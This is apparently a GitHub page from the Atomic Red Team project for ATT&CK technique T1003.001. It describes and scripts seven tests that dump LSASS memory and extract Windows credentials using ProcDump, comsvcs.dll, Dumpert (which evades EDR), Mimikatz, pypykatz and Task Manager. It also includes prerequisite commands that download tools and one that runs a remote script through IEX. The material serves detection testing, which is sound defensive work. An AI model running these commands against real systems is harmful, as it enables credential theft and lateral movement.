Skip to content

Latest commit

 

History

History
382 lines (235 loc) · 13 KB

T1003.001.md

File metadata and controls

382 lines (235 loc) · 13 KB
Raw

T1003.001 - LSASS Memory

Description from ATT&CK

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.

For example, on the target host use procdump:

  • procdump -ma lsass.exe lsass_dump

Locally, mimikatz can be run using:

  • sekurlsa::Minidump lsassdump.dmp
  • sekurlsa::logonPasswords

Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

The following SSPs can be used to access credentials:

  • Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
  • Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
  • Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
  • CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)

Atomic Tests


Atomic Test #1 - Windows Credential Editor

Dump user credentials using Windows Credential Editor (supports Windows XP, 2003, Vista, 7, 2008 and Windows 8 only)

Upon successful execution, you should see a file with user passwords/hashes at %temp%/wce-output.file.

If you see no output it is likely that execution was blocked by Anti-Virus.

If you see a message saying "wce.exe is not recognized as an internal or external command", try using the get-prereq_commands to download and install Windows Credential Editor first.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
output_file Path where resulting data should be placed Path %temp%\wce-output.txt
wce_zip_hash File hash of the Windows Credential Editor zip file String 8F4EFA0DDE5320694DD1AA15542FE44FDE4899ED7B3A272063902E773B6C4933
wce_exe Path of Windows Credential Editor executable Path PathToAtomicsFolder\T1003.001\bin\wce.exe
wce_url Path to download Windows Credential Editor zip file url https://www.ampliasecurity.com/research/wce_v1_41beta_universal.zip

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

#{wce_exe} -o #{output_file}

Cleanup Commands:

del "#{output_file}" >nul 2>&1

Dependencies: Run with powershell!

Description: Windows Credential Editor must exist on disk at specified location (#{wce_exe})
Check Prereq Commands:
if (Test-Path #{wce_exe}) {exit 0} else {exit 1}
Get Prereq Commands:
$parentpath = Split-Path "#{wce_exe}"; $zippath = "$parentpath\wce.zip"
IEX(IWR "https://github.com/raw/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1")
if(Invoke-WebRequestVerifyHash "#{wce_url}" "$zippath" #{wce_zip_hash}){
  Expand-Archive $zippath $parentpath\wce -Force
  Move-Item $parentpath\wce\wce.exe "#{wce_exe}"
  Remove-Item $zippath, $parentpath\wce -Recurse
}


Atomic Test #2 - Dump LSASS.exe Memory using ProcDump

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump.

Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the get-prereq_commands to download and install the ProcDump tool first.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
output_file Path where resulting dump should be placed Path C:\Windows\Temp\lsass_dump.dmp
procdump_exe Path of Procdump executable Path PathToAtomicsFolder\T1003.001\bin\procdump.exe

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

#{procdump_exe} -accepteula -ma lsass.exe #{output_file}

Cleanup Commands:

del "#{output_file}" >nul 2> nul

Dependencies: Run with powershell!

Description: ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})
Check Prereq Commands:
if (Test-Path #{procdump_exe}) {exit 0} else {exit 1}
Get Prereq Commands:
Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMP\Procdump.zip"
Expand-Archive $env:TEMP\Procdump.zip $env:TEMP\Procdump -Force
New-Item -ItemType Directory (Split-Path #{procdump_exe}) -Force | Out-Null
Copy-Item $env:TEMP\Procdump\Procdump.exe #{procdump_exe} -Force


Atomic Test #3 - Dump LSASS.exe Memory using comsvcs.dll

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.

Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.

Supported Platforms: Windows

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

Cleanup Commands:

Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore


Atomic Test #4 - Dump LSASS.exe Memory using direct system calls and API unhooking

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. https://github.com/outflanknl/Dumpert https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ Upon successful execution, you should see the following file created C:\windows\temp\dumpert.dmp.

If you see a message saying "The system cannot find the path specified.", try using the get-prereq_commands to download the tool first.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
dumpert_exe Path of Dumpert executable Path PathToAtomicsFolder\T1003.001\bin\Outflank-Dumpert.exe

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

#{dumpert_exe}

Cleanup Commands:

del C:\windows\temp\dumpert.dmp >nul 2> nul

Dependencies: Run with powershell!

Description: Dumpert executable must exist on disk at specified location (#{dumpert_exe})
Check Prereq Commands:
if (Test-Path #{dumpert_exe}) {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -ItemType Directory (Split-Path #{dumpert_exe}) -Force | Out-Null
Invoke-WebRequest "https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe" -OutFile #{dumpert_exe}


Atomic Test #5 - Dump LSASS.exe Memory using Windows Task Manager

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.

Supported Platforms: Windows

Run it with these steps!

  1. Open Task Manager: On a Windows system this can be accomplished by pressing CTRL-ALT-DEL and selecting Task Manager or by right-clicking on the task bar and selecting "Task Manager".

  2. Select lsass.exe: If lsass.exe is not visible, select "Show processes from all users". This will allow you to observe execution of lsass.exe and select it for manipulation.

  3. Dump lsass.exe memory: Right-click on lsass.exe in Task Manager. Select "Create Dump File". The following dialog will show you the path to the saved file.



Atomic Test #6 - Offline Credential Theft With Mimikatz

The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
input_file Path of the Lsass dump Path %tmp%\lsass.DMP
mimikatz_exe Path of the Mimikatz binary string PathToAtomicsFolder\T1003.001\bin\mimikatz.exe

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit

Dependencies: Run with powershell!

Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})
Check Prereq Commands:
if (Test-Path #{mimikatz_exe}) {exit 0} else {exit 1}
Get Prereq Commands:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20200308/mimikatz_trunk.zip" -OutFile "$env:TEMP\Mimi.zip"
Expand-Archive $env:TEMP\Mimi.zip $env:TEMP\Mimi -Force
New-Item -ItemType Directory (Split-Path #{mimikatz_exe}) -Force | Out-Null
Copy-Item $env:TEMP\Mimi\x64\mimikatz.exe #{mimikatz_exe} -Force
Description: Lsass dump must exist at specified location (#{input_file})
Check Prereq Commands:
cmd /c "if not exist #{input_file} (exit /b 1)"
Get Prereq Commands:
Write-Host "Create the lsass dump manually using the steps in the previous test (Dump LSASS.exe Memory using Windows Task Manager)"


Atomic Test #7 - LSASS read with pypykatz

Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::

Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.

Successful execution of this test will display multiple useranames and passwords/hashes to the screen.

Supported Platforms: Windows

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

pypykatz live lsa

Dependencies: Run with powershell!

Description: Computer must have python 3 installed
Check Prereq Commands:
if (python --version) {exit 0} else {exit 1}
Get Prereq Commands:
echo "Python 3 must be installed manually"
Description: Computer must have pip installed
Check Prereq Commands:
if (pip3 -V) {exit 0} else {exit 1}
Get Prereq Commands:
echo "PIP must be installed manually"
Description: pypykatz must be installed and part of PATH
Check Prereq Commands:
if (cmd /c pypykatz -h) {exit 0} else {exit 1}
Get Prereq Commands:
pip3 install pypykatz